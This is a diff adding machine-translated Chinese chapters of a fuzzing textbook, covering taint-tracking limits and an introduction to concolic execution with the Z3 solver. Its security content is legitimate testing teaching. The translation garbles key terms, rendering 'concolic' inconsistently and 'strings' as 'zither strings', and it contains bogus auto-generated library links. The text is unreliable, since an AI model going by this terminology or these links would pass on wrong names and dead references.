+  (['V'], {'use': 0}),
+  (['W'], {'use': 1}),
+  (['X'], {'use': 2}),
+  (['Y'], {'use': 3}),
+  (['Z'], {'use': 2}),
+  (['_'], {'use': 3}),
+  ([':'], {'use': 1}),
+  (['.'], {'use': 1})],
+ '<query>': [(['select ', '<exprs>', ' from ', '<table>'], {'use': 5}),
+  (['select ', '<exprs>', ' from ', '<table>', ' where ', '<bexpr>'],
+   {'use': 0}),
+  (['insert into ',
+    '<table>',
+    ' (',
+    '<names>',
+    ') values (',
+    '<literals>',
+    ')'],
+   {'use': 0}),
+  (['update ', '<table>', ' set ', '<assignments>', ' where ', '<bexpr>'],
+   {'use': 0}),
+  (['delete from ', '<table>', ' where ', '<bexpr>'], {'use': 5})],
+ '<table>': [(['inventory'], {'use': 0})],
+ '<names>': [(['<column>', ',', '<names>'], {'use': 0}),
+  (['<column>'], {'use': 0})],
+ '<column>': [(['<word>'], {'use': 0})],
+ '<literals>': [(['<literal>'], {'use': 0}),
+  (['<literal>', ',', '<literals>'], {'use': 0})],
+ '<literal>': [(['<number>'], {'use': 0}),
+  (["'", '<chars>', "'"], {'use': 0})],
+ '<assignments>': [(['<kvp>', ',', '<assignments>'], {'use': 0}),
+  (['<kvp>'], {'use': 0})],
+ '<kvp>': [(['<column>', '=', '<value>'], {'use': 0})],
+ '<value>': [(['<word>'], {'use': 0})],
+ '<chars>': [(['<char>'], {'use': 0}), (['<char>', '<chars>'], {'use': 0})],
+ '<char>': [(['0'], {'use': 0}),
+  (['1'], {'use': 0}),
+  (['2'], {'use': 0}),
+  (['3'], {'use': 0}),
+  (['4'], {'use': 0}),
+  (['5'], {'use': 0}),
+  (['6'], {'use': 0}),
+  (['7'], {'use': 0}),
+  (['8'], {'use': 0}),
+  (['9'], {'use': 0}),
+  (['a'], {'use': 0}),
+  (['b'], {'use': 0}),
+  (['c'], {'use': 0}),
+  (['d'], {'use': 0}),
+  (['e'], {'use': 0}),
+  (['f'], {'use': 0}),
+  (['g'], {'use': 0}),
+  (['h'], {'use': 0}),
+  (['i'], {'use': 0}),
+  (['j'], {'use': 0}),
+  (['k'], {'use': 0}),
+  (['l'], {'use': 0}),
+  (['m'], {'use': 0}),
+  (['n'], {'use': 0}),
+  (['o'], {'use': 0}),
+  (['p'], {'use': 0}),
+  (['q'], {'use': 0}),
+  (['r'], {'use': 0}),
+  (['s'], {'use': 0}),
+  (['t'], {'use': 0}),
+  (['u'], {'use': 0}),
+  (['v'], {'use': 0}),
+  (['w'], {'use': 0}),
+  (['x'], {'use': 0}),
+  (['y'], {'use': 0}),
+  (['z'], {'use': 0}),
+  (['A'], {'use': 0}),
+  (['B'], {'use': 0}),
+  (['C'], {'use': 0}),
+  (['D'], {'use': 0}),
+  (['E'], {'use': 0}),
+  (['F'], {'use': 0}),
+  (['G'], {'use': 0}),
+  (['H'], {'use': 0}),
+  (['I'], {'use': 0}),
+  (['J'], {'use': 0}),
+  (['K'], {'use': 0}),
+  (['L'], {'use': 0}),
+  (['M'], {'use': 0}),
+  (['N'], {'use': 0}),
+  (['O'], {'use': 0}),
+  (['P'], {'use': 0}),
+  (['Q'], {'use': 0}),
+  (['R'], {'use': 0}),
+  (['S'], {'use': 0}),
+  (['T'], {'use': 0}),
+  (['U'], {'use': 0}),
+  (['V'], {'use': 0}),
+  (['W'], {'use': 0}),
+  (['X'], {'use': 0}),
+  (['Y'], {'use': 0}),
+  (['Z'], {'use': 0}),
+  (['!'], {'use': 0}),
+  (['#'], {'use': 0}),
+  (['$'], {'use': 0}),
+  (['%'], {'use': 0}),
+  (['&'], {'use': 0}),
+  (['('], {'use': 0}),
+  ([')'], {'use': 0}),
+  (['*'], {'use': 0}),
+  (['+'], {'use': 0}),
+  ([','], {'use': 0}),
+  (['-'], {'use': 0}),
+  (['.'], {'use': 0}),
+  (['/'], {'use': 0}),
+  ([':'], {'use': 0}),
+  ([';'], {'use': 0}),
+  (['='], {'use': 0}),
+  (['?'], {'use': 0}),
+  (['@'], {'use': 0}),
+  (['['], {'use': 0}),
+  (['\\'], {'use': 0}),
+  ([']'], {'use': 0}),
+  (['^'], {'use': 0}),
+  (['_'], {'use': 0}),
+  (['`'], {'use': 0}),
+  (['{'], {'use': 0}),
+  (['|'], {'use': 0}),
+  (['}'], {'use': 0}),
+  (['~'], {'use': 0}),
+  ([' '], {'use': 0}),
+  (['<lt>'], {'use': 0}),
+  (['<gt>'], {'use': 0})]}
+
+```
+
+从这里开始，想法是将注意力集中在更频繁地到达危险操作的规则上，并增加这种值的可能性。
+
+### 污染跟踪的限制
+
+虽然我们的框架可以检测到信息泄漏，但这绝不是完美的。 污点有多种丢失方式，因此信息仍可能泄漏出去。
+
+#### 转换
+
+我们仅通过*字符串*和*字符*跟踪污点和来源。 如果将它们转换为数字（或其他数据），则信息将丢失。
+
+例如，考虑以下功能，将单个字符转换为数字并返回：
+
+```py
+def strip_all_info(s):
+    t = ""
+    for c in s:
+        t += chr(ord(c))
+    return t
+
+```
+
+```py
+thello = ostr("Secret")
+thello
+
+```
+
+```py
+'Secret'
+
+```
+
+```py
+thello.origin
+
+```
+
+```py
+[0, 1, 2, 3, 4, 5]
+
+```
+
+污点和原点不会通过数字转换传播：
+
+```py
+thello_stripped = strip_all_info(thello)
+thello_stripped
+
+```
+
+```py
+'Secret'
+
+```
+
+```py
+with ExpectError():
+    thello_stripped.origin
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-223-56d5157cf575>", line 2, in <module>
+    thello_stripped.origin
+AttributeError: 'str' object has no attribute 'origin' (expected)
+
+```
+
+可以通过扩展带有污点和起源的数字来解决此问题，就像我们对字符串所做的那样。 但是，在某些时候，它仍然会崩溃，因为一旦到达Python库中的内部C函数，污点就不会传播到C函数中或跨C函数传播。 （也就是说，除非有人开始为这些实现动态污点。）
+
+#### 内部C库
+
+如前所述，对*内部* C库的调用不会传播污点。 例如，以下内容保留了污点，
+
+```py
+hello = ostr('hello', origin=100)
+world = ostr('world', origin=200)
+(hello + ' ' + world).origin
+
+```
+
+```py
+[100, 101, 102, 103, 104, -1, 200, 201, 202, 203, 204]
+
+```
+
+调用应等效的`join`将失败。
+
+```py
+with ExpectError():
+    ''.join([hello, ' ', world]).origin
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-225-ad148b54cc0b>", line 2, in <module>
+    ''.join([hello, ' ', world]).origin
+AttributeError: 'str' object has no attribute 'origin' (expected)
+
+```
+
+#### 隐式信息流
+
+即使可以污染程序中的所有数据，也仍然存在中断信息流的方法-特别是通过将显式流转换为*隐式*流，或将数据流转换为*控制流*。 这是一个例子：
+
+```py
+def strip_all_info_again(s):
+    t = ""
+    for c in s:
+        if c == 'a':
+            t += 'a'
+        elif c == 'b':
+            t += 'b'
+        elif c == 'c':
+            t += 'c'
+    ...
+
+```
+
+使用这种功能，在`s`中的字符和`t`中的字符之间没有明确的数据流； 但是，字符串将是相同的。 在处理和操纵外部输入的程序中经常发生此问题。
+
+#### 强制污染
+
+转换和隐式信息流都是污点和原始信息丢失的几种可能性之一。 为了解决该问题，最好的解决方案是*始终假定不受污染的字符串*中的最坏情况：
+
+*   谈到信任时，未污染的字符串应视为*可能是不受信任的*，因此，除非经过清理，否则不要依赖。
+
+*   关于隐私，无污染的字符串应视为*可能是秘密的*，因此不会泄漏出去。
+
+因此，您的程序应始终具有两种异味：一种是显式信任（或秘密），另一种是显式不信任（或非秘密）。 如果在此过程中丢失了污点，则可能必须从其源中还原污点–与上述字符串方法不同。 好处是可信任的应用程序，其中的每个信息流都可以在运行时进行检查，并且可以通过自动测试快速发现违规情况。
+
+## 经验教训
+
+*   基于字符串和基于字符的污点允许动态跟踪从输入到系统内部并返回到输出的信息流。
+
+*   检查污点允许在运行时发现不可信的输入和信息泄漏。
+
+*   数据转换和隐式数据流可能会删除污点信息。 产生的未污染琴弦应被视为具有最坏的污染。
+
+*   污点可与绒毛结合使用，以提供比仅依赖程序崩溃更可靠的错误行为指示。
+
+## 后续步骤
+
+污点导向模糊测试的一个更好的替代方法是使用*符号*技术，该技术考虑了被测程序的语义。 关于[流模糊](FlowFuzzer.html)的章节介绍了这些符号技术，目的是探索信息流。 随后的[符号模糊化](SymbolicFuzzer.html)章节将介绍如何充分利用符号执行来覆盖代码。 同样，基于[搜索的模糊检测](SearchBasedFuzzer.html)通常可以提供更便宜的探索策略。
+
+## 背景
+
+Conti等人讨论了使用本章实现的库方法对Python进行污染分析。 [ [Conti *等*，2012年。](https://doi.org/10.1007/978-3-642-27937-9_15)]。
+
+## 练习
+
+### 练习1：脏污数字
+
+引入类`tint`（用于有污染的整数），该类与`tstr`一样，具有从`tint`传递到`tint`的taint属性。
+
+#### 第1部分：创建
+
+实现`tint`类，以设置污点：
+
+```py
+x = tint(42, taint='SECRET')
+assert x.taint == 'SECRET'
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/InformationFlow.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：算术表达式
+
+确保污点与算术表达式一起传递； 支持加，减，乘和除运算符。
+
+```py
+y = x + 1
+assert y.taint == 'SECRET'
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/InformationFlow.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：将污点从整数传递到字符串
+
+将污染的整数转换为字符串（使用`repr()`）应产生污染的字符串：
+
+```py
+s = repr(x)
+assert s.taint == 'SECRET'
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/InformationFlow.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第4部分：将污点从整数传递到字符串
+
+将污点对象（具有`taint`属性）转换为整数应通过该污点：
+
+```py
+password = tstr('1234', taint='NOT_EXACTLY_SECRET')
+x = tint(password)
+assert x == 1234
+assert x.taint == 'NOT_EXACTLY_SECRET'
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/InformationFlow.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：信息流测试
+
+生成测试以确保*最大*信息流，并尽可能传播特定的污点。 为[基于搜索的测试](SearchBasedFuzzer.html)实现适当的适应性功能，并让基于搜索的模糊器搜索解决方案。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/InformationFlow.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/26.md b/new/fuzzing-book-zh/26.md
new file mode 100644
index 0000000000000000000000000000000000000000..0e16cd704697fd6bcff18f8fae9e3739443e2bfc
--- /dev/null
+++ b/new/fuzzing-book-zh/26.md
@@ -0,0 +1,3950 @@
+# Concolic模糊测试
+
+> 原文： [https://www.fuzzingbook.org/html/ConcolicFuzzer.html](https://www.fuzzingbook.org/html/ConcolicFuzzer.html)
+
+前面我们已经看到了如何使用动态污点而不是仅仅寻找程序崩溃来产生更智能的测试用例。 我们还看到了如何使用污点来更新语法，从而更加关注危险的方法。
+
+尽管异味很有帮助，但未解释的字符串只是攻击向量之一。 在执行过程中的任何时候，我们能否再谈谈变量的属性？ 例如，我们可以确定地说一个函数将始终接收正确长度的缓冲区吗？ 共谋执行提供了解决方案。
+
+在函数上进行*一致执行*的想法如下：我们从该函数的样本输入开始，然后在跟踪下执行该函数。 在执行的每个点都经过一个条件，我们以符号变量之间的关系形式保存所遇到的条件。 （*符号变量*可以看作是实变量的占位符，类似于x在代数中求解x时所用的符号。符号变量可用于指定关系，而无需实际求解它们。 ）
+
+借助一致执行，您可以收集执行路径遇到的约束，并使用它来回答我们在程序执行路径上偏爱的任何时候有关程序行为的问题。 我们可以进一步使用conconolic执行来增强模糊性。
+
+在本章中，我们将深入探讨如何以一致方式执行Python函数，以及如何使用conolicly执行来增强模糊测试。
+
+**前提条件**
+
+*   您应该已经阅读了关于的[一章。](Coverage.html)
+*   您应该已经阅读了有关信息流的[一章。](InformationFlow.html)
+*   熟悉 [SMT求解器](https://en.wikipedia.org/wiki/Satisfiability_modulo_theories)的基本概念将很有用。
+
+我们首先设置基础架构，以便可以使用先前定义的功能。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.ConcolicFuzzer](ConcolicFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章定义了两个主要类：`SimpleConcolicFuzzer`和`ConcolicGrammarFuzzer`。 `SimpleConcolicFuzzer`首先使用样本输入来收集遇到的谓词。 然后，模糊器将随机谓词取反，以生成新的输入约束。 解决后，这些输入将产生探索与原始路径接近的路径的输入。 可以如下使用。
+
+覆盖范围章节中的`cgi_decode()`功能[是目标程序。](Coverage.html)
+
+```py
+>>> from [Coverage](Coverage.html) import cgi_decode
+
+```
+
+我们首先使用`ConcolicTracer`获得约束。
+
+```py
+>>> with ConcolicTracer() as _:
+>>>     _[cgi_decode]('abcd')
+
+```
+
+这些约束将添加到圆锥形模糊器中，如下所示：
+
+```py
+>>> scf = SimpleConcolicFuzzer()
+>>> scf.add_trace(_)
+
+```
+
+然后，conconolic模糊测试器使用添加的约束来指导其模糊测试，如下所示：
+
+```py
+>>> for i in range(10):
+>>>     v = scf.fuzz()
+>>>     if v is None:
+>>>         break
+>>>     print(v)
+%\x00
+\x00\x00+\x00
+\x00\x00+\x04
+\x00\x00+\x02
+\x00\x00\x00+\x00
+\x00+\x00
+\x00\x00+@
+\x00+ 
+\x00%\x00
+\x00+\x08
+
+```
+
+`SimpleConcolicFuzzer`简单地探索样本输入所遍历的原始路径附近的所有路径。 它不使用任何来自模糊测试的反馈。 另一方面，`ConcolicGrammarFuzzer`可以在模糊测试中收集来自主题的反馈，并消除语法上遇到的一些限制，从而可以进行更深层次的模糊测试。 它的用法如下：
+
+```py
+>>> from [InformationFlow](InformationFlow.html) import INVENTORY_GRAMMAR, SQLException
+>>> cgf = ConcolicGrammarFuzzer(INVENTORY_GRAMMAR)
+>>> cgf.prune_tokens(prune_tokens)
+>>> for i in range(10):
+>>>     query = cgf.fuzz()
+>>>     print(query)
+>>>     with ConcolicTracer() as _:
+>>>         with ExpectError():
+>>>             try:
+>>>                 res = _[db_select](query)
+>>>                 print(repr(res))
+>>>             except SQLException as e:
+>>>                 print(e)
+>>>         cgf.update_grammar(_)
+>>>         print()
+update NK5f set L=D,o=G,q=X where A!=S
+Table ('NK5f') was not found
+
+update vehicles set V9=B,y=r,E=E where r(U)/x(i)>b
+Column ('V9') was not found
+
+insert into V6S (V,R2,O) values ('2/','@')
+Table ('V6S') was not found
+
+update months set q=J1,Y=n,r=X where o-S*B!=(u!=q)
+Column ('q') was not found
+
+select e-e/B>Z(i)-(_) from [vehicles](https://docs.python.org/3/library/vehicles.html) [where](https://docs.python.org/3/library/where.html) 59.2!=S==C
+Invalid WHERE ('(59.2!=S==C)')
+
+delete from [months](https://docs.python.org/3/library/months.html) [where](https://docs.python.org/3/library/where.html) (M)*I<p+e(S)-R*O(_)*p(8,u)
+Invalid WHERE ('(M)*I<p+e(S)-R*O(_)*p(8,u)')
+
+insert into months (CRl,i,AW5,_j) values ('6')
+Column ('CRl') was not found
+
+select a(A),J from [K8z](K8z.html) [where](https://docs.python.org/3/library/where.html) [p](https://docs.python.org/3/library/p.html)-f-i<H
+Table ('K8z') was not found
+
+delete from [vehicles](https://docs.python.org/3/library/vehicles.html) [where](https://docs.python.org/3/library/where.html) [h](https://docs.python.org/3/library/h.html)(2,a)>((Sg90))+M5((az1(p)*r/W/V+b9(H)))
+Invalid WHERE ('h(2,a)>((Sg90))+M5((az1(p)*r/W/V+b9(H)))')
+
+select 9.7 from [months](https://docs.python.org/3/library/months.html)
+[9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7, 9.7]
+
+```
+
+## 跟踪约束
+
+在有关[信息流](InformationFlow)的章节中，我们已经看到如何通过指示输入的哪一部分到达了有趣的地方来使用动态污点来指导模糊测试。 但是，动态污点跟踪在其可以传播的信息方面受到限制。 例如，我们可能想研究当输入的某些属性更改时会发生什么。
+
+例如，假设我们有一个函数`factorial()`，该函数返回其输入的*阶乘值*。
+
+```py
+def factorial(n):
+    if n < 0:
+        return None
+    if n == 0:
+        return 1
+    if n == 1:
+        return 1
+    v = 1
+    while n != 0:
+        v = v * n
+        n = n - 1
+    return v
+
+```
+
+我们以`5`的值行使功能。
+
+```py
+factorial(5)
+
+```
+
+```py
+120
+
+```
+
+这足以探索该功能的所有功能吗？ 我们怎么知道？ 验证我们已探究所有功能的一种方法是查看获得的覆盖率。 首先，我们需要从覆盖的[章扩展`Coverage`类，以向我们提供覆盖弧。](Coverage.html)
+
+```py
+from [Coverage](Coverage.html) import Coverage
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+class ArcCoverage(Coverage):
+    def traceit(self, frame, event, args):
+        if event != 'return':
+            f = inspect.getframeinfo(frame)
+            self._trace.append((f.function, f.lineno))
+        return self.traceit
+
+    def arcs(self):
+        t = [i for f, i in self._trace]
+        return list(zip(t, t[1:]))
+
+```
+
+接下来，我们使用`Tracer`获得覆盖弧。
+
+```py
+with ArcCoverage() as cov:
+    factorial(5)
+
+```
+
+现在，我们可以使用coverage弧线可视化获得的coverage。
+
+```py
+from [ControlFlow](ControlFlow.html) import PyCFG, CFGNode, to_graph, gen_cfg
+
+```
+
+```py
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Source, Graph
+
+```
+
+```py
+Source(to_graph(gen_cfg(inspect.getsource(factorial)), arcs=cov.arcs()))
+
+```
+
+<svg height="564pt" viewBox="0.00 0.00 422.50 564.00" width="423pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 560)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-530.3">1: enter: factorial(n)</text></g> <g class="node" id="node7"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-454.3">2: if: n < 0</text></g> <g class="edge" id="edge5"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="145" y="-18.3">1: exit: factorial(n)</text></g> <g class="node" id="node3"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="49" y="-166.3">3: return None</text></g> <g class="edge" id="edge1"><title>4->2</title></g> <g class="node" id="node4"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="126" y="-310.3">5: return 1</text></g> <g class="edge" id="edge2"><title>6->2</title></g> <g class="node" id="node5"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-238.3">7: return 1</text></g> <g class="edge" id="edge3"><title>8->2</title></g> <g class="node" id="node6"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233" y="-94.3">12: return v</text></g> <g class="edge" id="edge4"><title>13->2</title></g> <g class="edge" id="edge6"><title>3->4</title></g> <g class="node" id="node8"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154" y="-382.3">4: if: n == 0</text></g> <g class="edge" id="edge7"><title>3->5</title></g> <g class="edge" id="edge8"><title>5->6</title></g> <g class="node" id="node9"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259" y="-310.3">6: if: n == 1</text></g> <g class="edge" id="edge9"><title>5->7</title></g> <g class="edge" id="edge10"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="284" y="-238.3">8: v = 1</text></g> <g class="edge" id="edge11"><title>7->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="311" y="-166.3">9: while: n != 0</text></g> <g class="edge" id="edge12"><title>9->10</title></g> <g class="edge" id="edge16"><title>10->13</title></g> <g class="node" id="node13"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="336" y="-94.3">10: v = v * n</text></g> <g class="edge" id="edge14"><title>10->11</title></g> <g class="node" id="node12"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="372" y="-18.3">11: n = n - 1</text></g> <g class="edge" id="edge13"><title>12->10</title></g> <g class="edge" id="edge15"><title>11->12</title></g></g></svg>
+
+我们看到路径`[1, 2, 4, 6, 8, 9, 10, 11, 12]`被覆盖（绿色），但是诸如`[2, 3]`，`[4, 5]`和`[6, 7]`之类的子路径未被探索（红色）。 我们需要的是生成输入的能力，以使`True`分支位于`2`处。 我们该怎么做？
+
+## 辅助执行
+
+一种方法是查看正在采用的执行路径，并收集该路径遇到的条件约束。 然后，我们可以尝试产生输入，使我们采取非遍历的路径。
+
+首先，让我们逐步完成该功能。
+
+```py
+lines = [i[1] for i in cov._trace if i[0] == 'factorial']
+src = {i + 1: s for i, s in enumerate(
+    inspect.getsource(factorial).split('\n'))}
+
+```
+
+*   行（1）只是函数的入口点。 我们知道输入是`n`，它是一个整数。
+
+```py
+src[1]
+
+```
+
+```py
+'def factorial(n):'
+
+```
+
+*   行（2）是谓词`n < 0`。 由于下一行是第（4）行，因此我们知道在执行路径的这一点上，谓词为`true`。
+
+```py
+src[2], src[3], src[4]
+
+```
+
+```py
+('    if n < 0:', '        return None', '    if n == 0:')
+
+```
+
+我们注意到，这是未采用`true`分支的谓词之一。 我们如何在此处生成一个采用`true`分支的值？ 一种方法是使用符号变量来表示输入，对约束进行编码，并使用 *SMT求解器*来解决约束的否定问题。
+
+正如我们在本章引言中提到的那样，可以将符号变量视为实变量的一种占位符，类似于在代数中求解`x`时的`x`。 这些变量可用于编码放置在程序中变量上的约束。 我们确定变量应遵循的约束条件，最后产生一个值，该值遵循所有施加的约束条件。
+
+## SMT解算器
+
+为了解决这些限制，可以使用*满意度模理论*（SMT）求解器。 SMT求解器构建在*可满足性*（SAT）求解器之上。 SAT求解器用于检查是否可以使用变量的任何赋值（例如`a = true, b = false`）来满足一阶逻辑（例如`(a | b ) & (~a | ~b)`）中的布尔公式。 SMT求解器将这些SAT求解器扩展到特定的背景理论-例如，*整数理论*或*字符串理论*。 也就是说，给定一个用字符串变量（例如`h + t == 'hello,world'`）表示为公式的字符串约束，可以使用了解*字符串理论*的SMT求解器来检查该约束是否可以满足以及是否可满足 ，为公式中使用的变量（例如`h = 'hello,', t = 'world'`）提供具体值的实例化。
+
+在本章中，我们将使用SMT求解器`Z3`。
+
+```py
+import [z3](https://docs.python.org/3/library/z3.html)
+
+```
+
+为确保成功评估本章中使用的字符串约束，我们需要指定`z3str3`求解器。 此外，我们将Z3计算的超时设置为30秒。
+
+```py
+assert z3.get_version() == (4, 8, 0, 0)
+z3.set_option('smt.string_solver', 'z3str3')
+z3.set_option('timeout', 30 * 1000)  # milliseconds
+
+```
+
+对约束进行编码需要为输入`n`声明一个对应的符号变量。
+
+```py
+zn = z3.Int('n')
+
+```
+
+还记得`factorial()`中第2行的约束`(n < 0)`吗？ 现在，我们可以对约束进行如下编码。
+
+```py
+zn < 0
+
+```
+
+```py
+n < 0
+
+```
+
+我们先前跟踪了`factorial(5)`。 我们看到，使用输入`5`，执行在谓词`n < 0`上执行了`else`分支。 我们可以将这种观察表达如下。
+
+```py
+z3.Not(zn < 0)
+
+```
+
+```py
+Not(n < 0)
+
+```
+
+`z3.solve()`方法还可用于检查约束条件是否可满足，如果满足，则为变量提供一个值，以便满足约束条件。 例如，我们可以要求z3输入将采用`else`分支的输入，如下所示：
+
+```py
+z3.solve(z3.Not(zn < 0))
+
+```
+
+```py
+[n = 0]
+
+```
+
+这是*解决方案*（尽管是微不足道的）。 SMT求解器可用于解决更困难的问题。 例如，这是一种求解二次方程的方法。
+
+```py
+x = z3.Real('x')
+eqn = (2 * x**2 - 11 * x + 5 == 0)
+z3.solve(eqn)
+
+```
+
+```py
+[x = 5]
+
+```
+
+同样，这是*一种解决方案*。 我们可以要求z3给我们另一个解决方案，如下所示。
+
+```py
+z3.solve(x != 5, eqn)
+
+```
+
+```py
+[x = 1/2]
+
+```
+
+实际上，`x = 5`和`x = 1/2`都是二次方程的解$ 2x ^ 2 -11x + 5 = 0 $
+
+同样，我们可以要求 *Z3* 输入满足`factorial()`第2行编码的约束的输入，以便我们采用`if`分支。
+
+```py
+z3.solve(zn < 0)
+
+```
+
+```py
+[n = -1]
+
+```
+
+也就是说，如果将`-1`用作`factorial()`的输入，则可以确保在执行期间采用第2行中的`if`分支。
+
+让我们尝试在我们的报道中使用它。 在这里，`-1`是上面的解决方案。
+
+```py
+with cov as cov:
+    factorial(-1)
+
+```
+
+```py
+Source(to_graph(gen_cfg(inspect.getsource(factorial)), arcs=cov.arcs()))
+
+```
+
+<svg height="564pt" viewBox="0.00 0.00 422.50 564.00" width="423pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 560)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-530.3">1: enter: factorial(n)</text></g> <g class="node" id="node7"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-454.3">2: if: n < 0</text></g> <g class="edge" id="edge5"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="145" y="-18.3">1: exit: factorial(n)</text></g> <g class="node" id="node3"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="49" y="-166.3">3: return None</text></g> <g class="edge" id="edge1"><title>4->2</title></g> <g class="node" id="node4"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="126" y="-310.3">5: return 1</text></g> <g class="edge" id="edge2"><title>6->2</title></g> <g class="node" id="node5"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-238.3">7: return 1</text></g> <g class="edge" id="edge3"><title>8->2</title></g> <g class="node" id="node6"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233" y="-94.3">12: return v</text></g> <g class="edge" id="edge4"><title>13->2</title></g> <g class="edge" id="edge6"><title>3->4</title></g> <g class="node" id="node8"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154" y="-382.3">4: if: n == 0</text></g> <g class="edge" id="edge7"><title>3->5</title></g> <g class="edge" id="edge8"><title>5->6</title></g> <g class="node" id="node9"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259" y="-310.3">6: if: n == 1</text></g> <g class="edge" id="edge9"><title>5->7</title></g> <g class="edge" id="edge10"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="284" y="-238.3">8: v = 1</text></g> <g class="edge" id="edge11"><title>7->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="311" y="-166.3">9: while: n != 0</text></g> <g class="edge" id="edge12"><title>9->10</title></g> <g class="edge" id="edge16"><title>10->13</title></g> <g class="node" id="node13"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="336" y="-94.3">10: v = v * n</text></g> <g class="edge" id="edge14"><title>10->11</title></g> <g class="node" id="node12"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="372" y="-18.3">11: n = n - 1</text></g> <g class="edge" id="edge13"><title>12->10</title></g> <g class="edge" id="edge15"><title>11->12</title></g></g></svg>
+
+好的，因此我们设法覆盖了更多图表。 让我们继续我们的原始输入`factorial(5)`：
+
+*   在第（4）行中，我们遇到一个新的谓词`n == 0`，为此我们再次采用了假分支。
+
+```py
+src[4]
+
+```
+
+```py
+'    if n == 0:'
+
+```
+
+遵循该路径直到该点所需的谓词如下。
+
+```py
+predicates = [z3.Not(zn < 0), z3.Not(zn == 0)]
+
+```
+
+*   如果继续执行第（6）行，则会遇到另一个谓词，为此，我们再次使用了`false`分支
+
+```py
+src[6]
+
+```
+
+```py
+'    if n == 1:'
+
+```
+
+到目前为止遇到的谓词如下
+
+```py
+predicates = [z3.Not(zn < 0), z3.Not(zn == 0), z3.Not(zn == 1)]
+
+```
+
+要获得（6）处的分支，我们基本上必须服从谓词直到该点，但要反转最后一个谓词。
+
+```py
+last = len(predicates) - 1
+z3.solve(predicates[0:-1] + [z3.Not(predicates[-1])])
+
+```
+
+```py
+[n = 1]
+
+```
+
+我们在这里所做的是使用具体的值跟踪与特定输入`factorial(5)`对应的执行，并与之保持*符号阴影变量*，使我们能够捕获约束。 正如我们在引言中所提到的，这种使用符号变量跟踪具体执行的特定执行方法称为 *Concolic Execution* 。
+
+我们如何使这一过程自动化？ 一种方法是使用与[信息流](InformationFlow.html)上的章节相似的基础结构，并使用Python继承来创建可跟踪具体执行的符号代理对象。
+
+## Concolic Tracer
+
